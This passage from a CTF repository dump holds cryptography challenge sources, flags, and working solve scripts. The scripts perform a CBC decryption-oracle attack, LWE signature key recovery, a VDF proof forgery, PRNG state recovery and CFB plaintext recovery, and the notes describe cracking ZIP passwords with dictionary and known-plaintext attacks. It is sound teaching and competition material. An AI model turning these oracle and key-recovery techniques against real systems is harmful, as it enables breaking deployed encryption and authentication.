unpack(dec[i:i+4]) 25 | enc += pack(chunk ^ next(stream)) 26 | 27 | with open('flag.png.enc', 'wb') as f: 28 | f.write(enc) 29 | f.close() 30 | -------------------------------------------------------------------------------- /cpvctf/quadratic-cg/setup.py: -------------------------------------------------------------------------------- 1 | import secrets 2 | 3 | m = 1 << 32 4 | x = secrets.randbelow(m) 5 | a = secrets.randbelow(m) 6 | b = secrets.randbelow(m) 7 | c = secrets.randbelow(m) 8 | 9 | with open('qcg.txt', 'w') as f: 10 | f.write('{}\n{}\n{}\n{}\n'.format(x, a, b, c)) 11 | -------------------------------------------------------------------------------- /cpvctf/quadratic-cg/solve.sage: -------------------------------------------------------------------------------- 1 | import struct 2 | 3 | pack = lambda x: struct.pack('>I', x) 4 | unpack = lambda x: struct.unpack('>I', x)[0] 5 | 6 | def qcg(x, a, b, c): 7 | mask = (1 << 32) - 1 8 | while True: 9 | x = (a*x*x + b*x + c) & mask 10 | yield x 11 | 12 | enc = open('flag.png.enc', 'rb').read() 13 | known = open('known', 'rb').read() 14 | 15 | x = [unpack(enc[i:i+4]) ^^ unpack(known[i:i+4]) for i in range(0, 16, 4)] 16 | 17 | m = 1 << 32 18 | A = [[x[0]^2, x[0], 1], [x[1]^2, x[1], 1], [x[2]^2, x[2], 1]] 19 | b = [x[1], x[2], x[3]] 20 | 21 | A = matrix(Integers(m), A) 22 | b = matrix(Integers(m), b).transpose() 23 | s = A.solve_right(b) 24 | 25 | stream = qcg(x[3], int(s[0][0]), int(s[1][0]), int(s[2][0])) 26 | 27 | dec = known 28 | for i in range(16, len(enc), 4): 29 | chunk = unpack(enc[i:i+4]) 30 | dec += pack(chunk ^^ next(stream)) 31 | 32 | with open('flag_.png', 'wb') as f: 33 | f.write(dec) 34 | f.close() 35 | -------------------------------------------------------------------------------- /cpvctf/white-lotus/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu 2 | 3 | RUN apt-get update 4 | RUN apt-get install -y xinetd python3 python3-pip 5 | RUN pip3 install pycryptodome 6 | 7 | COPY white_lotus.py local.py /ctf/ 8 | WORKDIR /ctf/ 9 | 10 | COPY xinetd /etc/xinetd.d/ctf 11 | COPY run.sh . 12 | RUN chmod +x run.sh 13 | 14 | EXPOSE 8000 15 | 16 | CMD ["/bin/sh", "-c", "service xinetd restart && sleep infinity"] 17 | -------------------------------------------------------------------------------- /cpvctf/white-lotus/local.py: -------------------------------------------------------------------------------- 1 | flag = 'flag{welcome_to_the_oracle_of_the_white_lotus}' 2 | key = b'\x08\xce\xd2\x98\x10\x12\x13\xddZ\xda\xce\xeeU\xe7A\xe9' 3 | -------------------------------------------------------------------------------- /cpvctf/white-lotus/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cd /ctf/ 3 | python3 white_lotus.py 2> /dev/null 4 | -------------------------------------------------------------------------------- /cpvctf/white-lotus/solve.py: -------------------------------------------------------------------------------- 1 | from base64 import b64encode, b64decode 2 | 3 | from Crypto.Cipher import AES 4 | from Crypto.Random import get_random_bytes 5 | from Crypto.Util.Padding import pad 6 | from Crypto.Util.strxor import strxor 7 | 8 | from local import flag, key 9 | 10 | def query(iv, enc): 11 | try: 12 | cipher = AES.new(key, AES.MODE_CBC, iv) 13 | dec = b64decode(cipher.decrypt(enc)) 14 | if dec == b'One who has eaten the fruit and tasted its mysteries.': 15 | return flag 16 | return True 17 | except: 18 | return False 19 | 20 | table64 = [[] for _ in range(256)] 21 | table65 = [[] for _ in range(256)] 22 | charset64 = list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [43, 47] 23 | charset65 = charset64 + [61] 24 | for j in range(256): 25 | for c in range(256): 26 | table64[j].append(j^c in charset64) 27 | table65[j].append(j^c in charset65) 28 | 29 | def generate(dec, enc): 30 | while True: 31 | iv = get_random_bytes(16) 32 | if query(iv, enc): 33 | break 34 | actual = [] 35 | for i in range(16): 36 | tmp = list(iv) 37 | row = [] 38 | for c in range(256): 39 | tmp[i] = c 40 | row.append(query(bytes(tmp), enc)) 41 | if row.count(True) > row.count(False): 42 | row = [not x for x in row] 43 | try: 44 | if row.count(True) == 64: 45 | actual.append(table64.index(row)) 46 | else: 47 | actual.append(table65.index(row)) 48 | except: 49 | return generate(dec, enc) 50 | return strxor(dec, bytes(actual)) 51 | 52 | dec = pad(b64encode(b'One who has eaten the fruit and tasted its mysteries.'), 16) 53 | dec = [dec[i:i+16] for i in range(0, len(dec), 16)][::-1] 54 | enc = [bytes(16)] 55 | for i in range(len(dec)): 56 | enc.append(generate(dec[i], enc[i])) 57 | flag = query(enc[-1], b''.join(enc[-2::-1])).decode() 58 | print(flag) 59 | -------------------------------------------------------------------------------- /cpvctf/white-lotus/white_lotus.py: -------------------------------------------------------------------------------- 1 | from base64 import b64decode 2 | 3 | from Crypto.Cipher import AES 4 | 5 | from local import flag, key 6 | 7 | split = lambda s: (s[:16], s[16:]) 8 | 9 | while True: 10 | print('Who knocks at the guarded gate?') 11 | try: 12 | iv, enc = split(b64decode(input())) 13 | cipher = AES.new(key, AES.MODE_CBC, iv) 14 | dec = b64decode(cipher.decrypt(enc)) 15 | if dec == b'One who has eaten the fruit and tasted its mysteries.': 16 | print(flag) 17 | except: 18 | print('\u2741') 19 | -------------------------------------------------------------------------------- /cpvctf/white-lotus/xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | per_source = 10 8 | rlimit_cpu = 20 9 | rlimit_as = 512M 10 | type = UNLISTED 11 | user = root 12 | bind = 0.0.0.0 13 | port = 8000 14 | server = /ctf/run.sh 15 | } 16 | -------------------------------------------------------------------------------- /ctfx/corrupt/README.md: -------------------------------------------------------------------------------- 1 | The IDAT chunk that is corrupted is missing 4 bytes, as shown by the difference between the given and actual length. 2 | 3 | To fix the image, force the data to match its crc32 hash. Find the offset by either bashing or locate where the zlib stream meets an error. 4 | 5 | The flag is displayed in the bottom half of the recovered image. -------------------------------------------------------------------------------- /ctfx/corrupt/colors.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/ctfx/corrupt/colors.png -------------------------------------------------------------------------------- /ctfx/corrupt/flag.txt: -------------------------------------------------------------------------------- 1 | ctf(trunc@ted_PNG) -------------------------------------------------------------------------------- /ctfx/corrupt/statement.txt: -------------------------------------------------------------------------------- 1 | defund's method of corrupting images is pretty crude. -------------------------------------------------------------------------------- /ctfx/crash/README.md: -------------------------------------------------------------------------------- 1 | Inside of flag/, there is a hidden vim swap file, .flag.txt.swp. 2 | To recover flag.txt, use vim: 3 | 4 | vim -r flag.txt 5 | 6 | Alternatively, extract the lines in plaintext at the end of the swap file. The lines are separated by null chars and the line order is reversed. -------------------------------------------------------------------------------- /ctfx/crash/flag.txt: -------------------------------------------------------------------------------- 1 | ctf(v1m_is_be77er_than_3macs) -------------------------------------------------------------------------------- /ctfx/crash/flag.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/ctfx/crash/flag.zip -------------------------------------------------------------------------------- /ctfx/crash/statement.txt: -------------------------------------------------------------------------------- 1 | defund was about to give this flag away until his computer crashed. -------------------------------------------------------------------------------- /ctfx/password/README.md: -------------------------------------------------------------------------------- 1 | files.zip contains two encrypted ZIP files. Both zip files contain 2 | a vcard and a signature of an employee. 3 | 4 | Evelyn Davis.zip can be cracked with a dictionary attack: 5 | password = basher 6 | 7 | The vcard inside her files is predictable: 8 | 9 | ``` 10 | BEGIN:VCARD 11 | VERSION:3.0 12 | N:Davis;Evelyn;;; 13 | FN:Evelyn Davis 14 | ORG:Defund Corp; 15 | EMAIL;type=INTERNET;type=WORK;type=pref:evelyn.davis@defund.io 16 | END:VCARD 17 | ``` 18 | 19 | Using that as a template, a vcard for Ryan King can be constructed: 20 | 21 | ``` 22 | BEGIN:VCARD 23 | VERSION:3.0 24 | N:King;Ryan;;; 25 | FN:Ryan King 26 | ORG:Defund Corp; 27 | EMAIL;type=INTERNET;type=WORK;type=pref:ryan.king@defund.io 28 | END:VCARD 29 | ``` 30 | 31 | Ryan King.zip can be cracked with a plaintext attack using a tool 32 | such as pkcrack. 33 | 34 | Ryan King's signature is the flag. -------------------------------------------------------------------------------- /ctfx/password/files.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/ctfx/password/files.zip -------------------------------------------------------------------------------- /ctfx/password/flag.txt: -------------------------------------------------------------------------------- 1 | ctf(pl4intext_ZIP_4tt4ck) -------------------------------------------------------------------------------- /ctfx/password/statement.txt: -------------------------------------------------------------------------------- 1 | Defund Corp. has mandated that its employees must password protect their files. -------------------------------------------------------------------------------- /ctfx/pgp/flag.txt: -------------------------------------------------------------------------------- 1 | ctf(w1Ndows_7_pa$$word_fun?) -------------------------------------------------------------------------------- /ctfx/pgp/statement.txt: -------------------------------------------------------------------------------- 1 | defund was playing around with pgp keys. Decrypt his message from this memory dump. 2 | 3 | link: https://mega.nz/#!vI8whBwZ!qBpbiG8sXge1iRQsCrWg01cULngr01vNUkI5eciLOWg -------------------------------------------------------------------------------- /dicectf-2021/benaloh/benaloh.py: -------------------------------------------------------------------------------- 1 | from Crypto.Random.random import randrange 2 | from Crypto.Util.number import getPrime, GCD 3 | 4 | r = 17 5 | 6 | def keygen(): 7 | while True: 8 | p = getPrime(1024) 9 | a, b = divmod(p-1, r) 10 | if b == 0 and GCD(r, a) == 1: 11 | break 12 | while True: 13 | q = getPrime(1024) 14 | if GCD(r, q-1) == 1: 15 | break 16 | n = p*q 17 | phi = (p-1)*(q-1)//r 18 | y = 1 19 | while True: 20 | y = randrange(n) 21 | x = pow(y, phi, n) 22 | if x != 1: 23 | break 24 | log = {pow(x, i, n): i for i in range(r)} 25 | return (n, y), (n, phi, log) 26 | 27 | def encrypt(data, pk): 28 | n, y = pk 29 | u = randrange(n) 30 | a = randrange(n) 31 | c = randrange(n) 32 | for m in data.hex(): 33 | yield pow(y, int(m, 16), n) * pow(u, r, n) % n 34 | u = (a*u + c) % n 35 | 36 | def decrypt(data, sk): 37 | n, phi, log = sk 38 | return bytes.fromhex(''.join(f'{log[pow(z, phi, n)]:x}' for z in data)) 39 | 40 | if __name__ == '__main__': 41 | with open('flag.txt', 'rb') as f: 42 | flag = f.read().strip() 43 | 44 | pk, sk = keygen() 45 | print(pk) 46 | for z in encrypt(flag, pk): 47 | print(z) 48 | -------------------------------------------------------------------------------- /dicectf-2021/benaloh/flag.txt: -------------------------------------------------------------------------------- 1 | dice{gr:obner!_!} 2 | -------------------------------------------------------------------------------- /dicectf-2021/benaloh/solve.sage: -------------------------------------------------------------------------------- 1 | r = 17 2 | 3 | with open('out.txt') as f: 4 | n, y = eval(f.readline()) 5 | R = Integers(n) 6 | z = list(map(R, f.readlines())) 7 | 8 | y = R(y) 9 | log = {y^i: f'{i:x}' for i in range(r)} 10 | 11 | P. = PolynomialRing(R) 12 | 13 | G = [] 14 | f = u 15 | for i, m in enumerate(b'di'.hex()): 16 | G.append(f^r - z[i]/y^int(m, 16)) 17 | f = a*f + c 18 | 19 | B = Ideal(G).groebner_basis() 20 | print(B) 21 | 22 | flag = '' 23 | f = -B[1].monomial_coefficient(c)*c 24 | for i in range(len(z)): 25 | flag += log[z[i]/(f.monomial_coefficient(c)^r*-B[0].constant_coefficient())] 26 | f = -B[2].constant_coefficient()*f + c 27 | print(bytes.fromhex(flag)) 28 | -------------------------------------------------------------------------------- /dicectf-2021/signature-sheep-scheming-signature-schemes/flag.txt: -------------------------------------------------------------------------------- 1 | dice{hello_world} 2 | -------------------------------------------------------------------------------- /dicectf-2021/signature-sheep-scheming-signature-schemes/server.py: -------------------------------------------------------------------------------- 1 | import signal 2 | import socketserver 3 | from lwe import Key, n 4 | 5 | with open('public.key', 'rb') as f: 6 | key = Key.deserialize(f.read()) 7 | 8 | with open('flag.txt', 'rb') as f: 9 | flag = f.read() 10 | 11 | message = b'shep, the conqueror' 12 | 13 | class RequestHandler(socketserver.BaseRequestHandler): 14 | 15 | def handle(self): 16 | signal.alarm(10) 17 | self.request.sendall(b'signature? ') 18 | signature = self.request.recv(4*n) 19 | key.verify(message, signature) 20 | self.request.sendall(flag) 21 | 22 | class Server(socketserver.ForkingTCPServer): 23 | 24 | allow_reuse_address = True 25 | 26 | def handle_error(self, request, client_address): 27 | self.request.close() 28 | 29 | server = Server(('0.0.0.0', 3000), RequestHandler) 30 | server.serve_forever() 31 | -------------------------------------------------------------------------------- /dicectf-2021/signature-sheep-scheming-signature-schemes/shake.py: -------------------------------------------------------------------------------- 1 | from random import Random, RECIP_BPF 2 | 3 | from Crypto.Hash import SHAKE128 4 | from Crypto.Util.number import bytes_to_long 5 | 6 | class ShakeRandom(Random): 7 | 8 | def __init__(self, data): 9 | self.shake = SHAKE128.new(data) 10 | self.gauss_next = None 11 | 12 | def random(self): 13 | return (bytes_to_long(self.shake.read(7)) >> 3) * RECIP_BPF 14 | 15 | def getrandbits(self, k): 16 | return bytes_to_long(self.shake.read((k + 7) // 8)) >> (-k % 8) 17 | -------------------------------------------------------------------------------- /dicectf-2021/signature-sheep-scheming-signature-schemes/solve.py: -------------------------------------------------------------------------------- 1 | from tqdm import tqdm 2 | from lwe import * 3 | 4 | with open('private.key', 'rb') as f: 5 | key = Key.deserialize(f.read()) 6 | 7 | def oracle(local=True): 8 | message = b'silly sheep' 9 | if local: 10 | while True: 11 | signature = key.sign(message) 12 | b, r = unpack(signature) 13 | c = gauss(random=ShakeRandom(pack(key.a, key.b, b) + message)) 14 | yield c, r 15 | else: 16 | with open('signatures.bin', 'rb') as f: 17 | while True: 18 | b, r = unpack(f.read(4*n)) 19 | c = gauss(random=ShakeRandom(pack(key.a, key.b, b) + message)) 20 | yield c, r 21 | 22 | query = oracle(local=False) 23 | lift = np.vectorize(lambda x: int(x)-q if q-x < x else int(x)) 24 | C, R = zip(*[next(query) for _ in tqdm(range(800))]) 25 | C = lift(np.transpose(np.hstack(C))) 26 | R = lift(np.transpose(np.hstack(R))) 27 | solution = np.linalg.lstsq(C, R, rcond=None)[0] 28 | S = -np.transpose(np.rint(solution)).astype(np.uint16) 29 | 30 | from pwn import * 31 | nc = remote('dicec.tf', 31614) 32 | key.s = S 33 | message = b'shep, the conqueror' 34 | nc.send(key.sign(message)) 35 | nc.interactive() 36 | -------------------------------------------------------------------------------- /dicectf-2022/pow-pow/flag.txt: -------------------------------------------------------------------------------- 1 | dice{the_m1n1gun_4nd_f1shb0nes_the_r0ck3t_launch3r} 2 | -------------------------------------------------------------------------------- /dicectf-2022/pow-pow/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | 3 | from hashlib import shake_128 4 | 5 | # from Crypto.Util.number import getPrime 6 | # p = getPrime(1024) 7 | # q = getPrime(1024) 8 | # n = p*q 9 | n = 20074101780713298951367849314432888633773623313581383958340657712957528608477224442447399304097982275265964617977606201420081032385652568115725040380313222774171370125703969133604447919703501504195888334206768326954381888791131225892711285554500110819805341162853758749175453772245517325336595415720377917329666450107985559621304660076416581922028713790707525012913070125689846995284918584915707916379799155552809425539923382805068274756229445925422423454529793137902298882217687068140134176878260114155151600296131482555007946797335161587991634886136340126626884686247248183040026945030563390945544619566286476584591 10 | T = 2**64 11 | 12 | def is_valid(x): 13 | return type(x) == int and 0 < x < n 14 | 15 | def encode(x): 16 | return x.to_bytes(256, 'big') 17 | 18 | def H(g, h): 19 | return int.from_bytes(shake_128(encode(g) + encode(h)).digest(16), 'big') 20 | 21 | def prove(g): 22 | h = g 23 | for _ in range(T): 24 | h = pow(h, 2, n) 25 | m = H(g, h) 26 | r = 1 27 | pi = 1 28 | for _ in range(T): 29 | b, r = divmod(2*r, m) 30 | pi = pow(pi, 2, n) * pow(g, b, n) % n 31 | return h, pi 32 | 33 | def verify(g, h, pi): 34 | assert is_valid(g) 35 | assert is_valid(h) 36 | assert is_valid(pi) 37 | assert g != 1 and g != n - 1 38 | m = H(g, h) 39 | r = pow(2, T, m) 40 | assert h == pow(pi, m, n) * pow(g, r, n) % n 41 | 42 | if __name__ == '__main__': 43 | g = int(input('g: ')) 44 | h = int(input('h: ')) 45 | pi = int(input('pi: ')) 46 | verify(g, h, pi) 47 | with open('flag.txt') as f: 48 | print(f.read().strip()) 49 | -------------------------------------------------------------------------------- /dicectf-2022/pow-pow/solve.py: -------------------------------------------------------------------------------- 1 | import gmpy2 2 | from pathlib import Path 3 | from tqdm import tqdm 4 | 5 | from server import * 6 | 7 | def get_backdoor(): 8 | path = Path('backdoor.txt') 9 | if path.is_file(): 10 | with path.open() as f: 11 | return gmpy2.mpz(f.read()) 12 | else: 13 | L = gmpy2.mpz(1) 14 | for p in range(1, 2**20): 15 | if p < 256 or gmpy2.is_prime(p): 16 | L *= p 17 | g = gmpy2.powmod(2, L, n) 18 | for i in tqdm(range(1000000)): 19 | m = H(int(g), 1) 20 | if gmpy2.gcd(L, m) == m: 21 | L <<= i 22 | with path.open('w') as f: 23 | f.write(str(L)) 24 | return L 25 | g = gmpy2.powmod(g, 2, n) 26 | 27 | L = get_backdoor() 28 | g = int(gmpy2.powmod(2, L, n)) 29 | h = 1 30 | m = H(g, h) 31 | r = pow(2, T, m) 32 | pi = int(gmpy2.powmod(2, -r*L//m, n)) 33 | verify(g, h, pi) 34 | 35 | print(f'g: {g}') 36 | print(f'h: {h}') 37 | print(f'pi: {pi}') 38 | -------------------------------------------------------------------------------- /dicectf-2022/psych/flag.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-2022/psych/flag.enc -------------------------------------------------------------------------------- /dicectf-2022/psych/flag.txt: -------------------------------------------------------------------------------- 1 | dice{Pwn1ng_Sup3rs1ngul4r_Ys0geny_CH4ll3nge5} 2 | -------------------------------------------------------------------------------- /dicectf-2022/psych/pk.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-2022/psych/pk.bin -------------------------------------------------------------------------------- /dicectf-2022/psych/sk.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-2022/psych/sk.bin -------------------------------------------------------------------------------- /dicectf-2023/seaside/csidh-latest.tar.xz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-2023/seaside/csidh-latest.tar.xz -------------------------------------------------------------------------------- /dicectf-2023/seaside/flag.txt: -------------------------------------------------------------------------------- 1 | dice{b0p_it_pul1_1t_6op_it_pull_1t_pu1l_1t_b0p_it} 2 | -------------------------------------------------------------------------------- /dicectf-2023/seaside/solve.sage: -------------------------------------------------------------------------------- 1 | from Crypto.Util.strxor import strxor 2 | from Crypto.Hash import SHAKE128 3 | from pwn import process, remote 4 | import struct 5 | 6 | def stream(buf, ss): 7 | pad = SHAKE128.new(bytes(ss)).read(len(buf)) 8 | return strxor(buf, pad) 9 | 10 | p = 0x65b48e8f740f89bf_fc8ab0d15e3e4c4a_b42d083aedc88c42_5afbfcc69322c9cd_a7aac6c567f35507_516730cc1f0b4f25_c2721bf457aca835_1b81b90533c6c87b 11 | 12 | K = GF(p) 13 | R. = K[] 14 | 15 | def load_coeff(buf): 16 | limbs = struct.unpack('<8Q', buf) 17 | return sum(x << (64*i) for i, x in enumerate(limbs)) 18 | 19 | def dump_coeff(coeff): 20 | coeff = int(coeff) 21 | limbs = [(coeff >> (64*i)) & 0xffffffffffffffff for i in range(8)] 22 | return struct.pack('<8Q', *limbs) 23 | 24 | def twist(A): 25 | E = EllipticCurve(K, [0, A, 0, 1, 0]) 26 | Et = E.quadratic_twist() 27 | a, b = Et.short_weierstrass_model().a_invariants()[-2:] 28 | r, = (t^3 + a*t + b).roots(multiplicities=False) 29 | s = sqrt(3*r^2 + a) 30 | return -3 * (-1)^is_square(s) * r / s 31 | 32 | nc = process(['python', 'server.py']) 33 | # nc = remote('mc.ax', 31336) 34 | 35 | nc.recvuntil(b'pub0: ') 36 | pub0 = bytes.fromhex(nc.recvline().decode()) 37 | nc.recvuntil(b'pub1: ') 38 | pub1 = bytes.fromhex(nc.recvline().decode()) 39 | 40 | A0 = load_coeff(pub0) 41 | A1 = load_coeff(pub1) 42 | 43 | mask = dump_coeff(0) 44 | nc.sendlineafter(b'mask: ', mask.hex()) 45 | 46 | nc.recvuntil(b'enc0: ') 47 | enc0 = bytes.fromhex(nc.recvline().decode()) 48 | nc.recvuntil(b'enc1: ') 49 | enc1 = bytes.fromhex(nc.recvline().decode()) 50 | 51 | ss0 = dump_coeff(twist(A0)) 52 | ss1 = dump_coeff(twist(A1)) 53 | msg0 = stream(enc0, ss0) 54 | msg1 = stream(enc1, ss1) 55 | flag = strxor(msg0, msg1) 56 | 57 | print(flag.decode()) 58 | -------------------------------------------------------------------------------- /dicectf-2023/vinaigrette/expand_sk_with_t1.diff: -------------------------------------------------------------------------------- 1 | diff --git a/src/ov_keypair.c b/src/ov_keypair.c 2 | index 7269725..b5aff7c 100644 3 | --- a/src/ov_keypair.c 4 | +++ b/src/ov_keypair.c 5 | @@ -145,6 +145,29 @@ int expand_sk( sk_t* sk, const unsigned char *pk_seed , const unsigned char *sk_ 6 | } 7 | 8 | 9 | +int expand_sk_with_t1( sk_t* sk, const unsigned char *pk_seed , const unsigned char *t1 ) 10 | +{ 11 | + memcpy( sk->pk_seed , pk_seed , LEN_PKSEED ); 12 | + memcpy( sk->t1 , t1 , sizeof(sk->t1) ); 13 | + 14 | + // prng for pk 15 | + prng_publicinputs_t prng1; 16 | + prng_set_publicinputs(&prng1 , pk_seed ); 17 | + // P1 18 | + prng_gen_publicinputs(&prng1, sk->P1 , sizeof(sk->P1) ); 19 | + // P2 20 | + prng_gen_publicinputs(&prng1, sk->L , sizeof(sk->L) ); 21 | + 22 | + // calcuate the parts of sk according to pk. 23 | +#if defined(_BLAS_M4F_) 24 | + ov_pkc_calculate_F_from_Q( sk ); 25 | +#else 26 | + calculate_F2( sk->L , sk->P1 , sk->L , sk->t1 ); 27 | +#endif 28 | + return 0; 29 | +} 30 | + 31 | + 32 | 33 | //////////////////////////////////////////////////////////////////////////////////// 34 | 35 | -------------------------------------------------------------------------------- /dicectf-2023/vinaigrette/flag.txt: -------------------------------------------------------------------------------- 1 | dice{m1x_M_v4rs_0f_o1L_and_N-M_var5_of_v1n3gar} 2 | -------------------------------------------------------------------------------- /dicectf-2023/vinaigrette/patch.diff: -------------------------------------------------------------------------------- 1 | diff --git a/Makefile b/Makefile 2 | index a30364c..925a568 100644 3 | --- a/Makefile 4 | +++ b/Makefile 5 | @@ -17,7 +17,7 @@ SRC_DIR = ./src 6 | UTIL_DIR = ./utils 7 | 8 | 9 | -CFLAGS := -O3 $(CFLAGS) -std=c11 -Wall -Wextra -Wpedantic -Werror -fno-omit-frame-pointer #-pg -g -fsanitize=address 10 | +CFLAGS := -O3 $(CFLAGS) -std=c11 -Wall -Wextra -Wpedantic -Werror -fno-omit-frame-pointer -fPIC #-pg -g -fsanitize=address 11 | CXXFLAGS := -O3 $(CPPFLAGS) -Wall -Wextra -fno-exceptions -fno-rtti -nostdinc++ 12 | INCPATH := -I/usr/local/include -I/opt/local/include -I/usr/include -I$(SRC_DIR) -I$(UTIL_DIR) 13 | LDFLAGS := $(LDFLAGS) #-fsanitize=address 14 | @@ -189,6 +189,10 @@ endif 15 | all: $(EXE) 16 | 17 | 18 | +libpqov.so: $(OBJ) 19 | + $(CC) -shared $(CFLAGS) $(INCPATH) -o $@ $^ $(LIBS) 20 | + 21 | + 22 | neon-matxvec-test: $(OBJ) neon-matxvec-test.o 23 | $(LD) $(LDFLAGS) $(LIBPATH) -o $@ $^ $(LIBS) 24 | 25 | diff --git a/src/ov.c b/src/ov.c 26 | index b62f3ca..0fd7e7f 100644 27 | --- a/src/ov.c 28 | +++ b/src/ov.c 29 | @@ -52,8 +52,8 @@ int ov_sign( uint8_t * signature , const sk_t * sk , const uint8_t * message , u 30 | // The computation: H(M||salt) --> y --C-map--> x --T--> w 31 | hash_init (&h_m_salt_secret); 32 | hash_update(&h_m_salt_secret, message, mlen); 33 | - hash_update(&h_m_salt_secret, salt, _SALT_BYTE); 34 | hash_ctx_copy(&h_vinegar_copy, &h_m_salt_secret); 35 | + hash_update(&h_m_salt_secret, salt, _SALT_BYTE); 36 | hash_final_digest( y , _PUB_M_BYTE , &h_m_salt_secret); // H(M||salt) 37 | 38 | hash_update(&h_vinegar_copy, sk->sk_seed, LEN_SKSEED ); // H(M||salt||sk_seed ... 39 | -------------------------------------------------------------------------------- /dicectf-2023/vinaigrette/pk.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-2023/vinaigrette/pk.bin -------------------------------------------------------------------------------- /dicectf-2023/vinaigrette/pqov-paper.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-2023/vinaigrette/pqov-paper.tar.gz -------------------------------------------------------------------------------- /dicectf-2023/vinaigrette/sk.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-2023/vinaigrette/sk.bin -------------------------------------------------------------------------------- /dicectf-finals-2024/cfb-trivia/cfb_trivia.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | 3 | def encrypt(key, pt): 4 | cipher = AES.new(key, AES.MODE_CFB) 5 | ct = cipher.decrypt(pt) 6 | return cipher.iv + ct 7 | 8 | if __name__ == '__main__': 9 | import os 10 | 11 | with open('flag.txt', 'rb') as f: 12 | flag = f.read().strip() 13 | 14 | key = os.urandom(16) 15 | 16 | print(f'encrypted flag: {encrypt(key, flag).hex()}') 17 | while True: 18 | msg = bytes.fromhex(input('message: ')) 19 | print(f'encrypted message: {encrypt(key, msg).hex()}') 20 | -------------------------------------------------------------------------------- /dicectf-finals-2024/cfb-trivia/flag.txt: -------------------------------------------------------------------------------- 1 | dice{th1s_1s_a_Re4lly_l0n9_m3ss4ge_wh1ch_5pan5_m4ny_bl0cks_b9b40c6bb6de4b92} 2 | -------------------------------------------------------------------------------- /dicectf-finals-2024/cfb-trivia/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import process 2 | 3 | io = process(['python', 'cfb_trivia.py']) 4 | 5 | io.recvuntil(b'encrypted flag: ') 6 | buf = bytes.fromhex(io.recvline().decode()) 7 | iv, ct = buf[:16], buf[16:] 8 | 9 | flag = iv 10 | for i in range(len(ct)): 11 | io.sendlineafter(b'message: ', (flag[-16:] + ct[i:i+1]).hex().encode()) 12 | io.recvuntil(b'encrypted message: ') 13 | buf = bytes.fromhex(io.recvline().decode()) 14 | flag += buf[-1:] 15 | 16 | print(flag[16:]) 17 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/README.md: -------------------------------------------------------------------------------- 1 | # Mental Poker 2 | 3 | ## Installation 4 | Install dependencies with `python -m pip install -r requirements.txt`. 5 | 6 | ## Running the client 7 | You will receive a token from us close to 11am. In `client.py`, replace `ROOT` with `http://mental-poker.mc.ax:8080` and `TOKEN` with your token. Run the client with `python -m client.main`. 8 | 9 | ## 10am release 10 | * `client/` 11 | * `game/base.py` 12 | * `scripts/stress_test.py` 13 | * `README.md` 14 | * `requirements.txt` 15 | 16 | ## 11am release 17 | * Additional protocol logic, in the `game/` folder 18 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/client/main.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | from game.monte import MonteGuesser, MonteSetter 4 | from .client import PokerClient 5 | 6 | ROOT = 'http://localhost:8080' 7 | TOKEN = os.environ.get('TOKEN', None) 8 | 9 | assert TOKEN is not None 10 | 11 | client = PokerClient(MonteGuesser, MonteSetter, ROOT, TOKEN) 12 | client.run() 13 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/flake.lock: -------------------------------------------------------------------------------- 1 | { 2 | "nodes": { 3 | "nixpkgs": { 4 | "locked": { 5 | "lastModified": 1719075281, 6 | "narHash": "sha256-CyyxvOwFf12I91PBWz43iGT1kjsf5oi6ax7CrvaMyAo=", 7 | "owner": "nixos", 8 | "repo": "nixpkgs", 9 | "rev": "a71e967ef3694799d0c418c98332f7ff4cc5f6af", 10 | "type": "github" 11 | }, 12 | "original": { 13 | "owner": "nixos", 14 | "ref": "nixos-unstable", 15 | "repo": "nixpkgs", 16 | "type": "github" 17 | } 18 | }, 19 | "root": { 20 | "inputs": { 21 | "nixpkgs": "nixpkgs" 22 | } 23 | } 24 | }, 25 | "root": "root", 26 | "version": 7 27 | } 28 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/flake.nix: -------------------------------------------------------------------------------- 1 | { 2 | inputs.nixpkgs.url = "github:nixos/nixpkgs/nixos-unstable"; 3 | 4 | outputs = { self, nixpkgs }: 5 | let 6 | inherit (nixpkgs) lib; 7 | systems = lib.systems.flakeExposed; 8 | eachDefaultSystem = f: builtins.foldl' lib.attrsets.recursiveUpdate { } 9 | (map f systems); 10 | in 11 | eachDefaultSystem (system: 12 | let 13 | pkgs = nixpkgs.legacyPackages.${system}; 14 | in 15 | { 16 | devShells.${system}.default = pkgs.mkShellNoCC { 17 | packages = [ 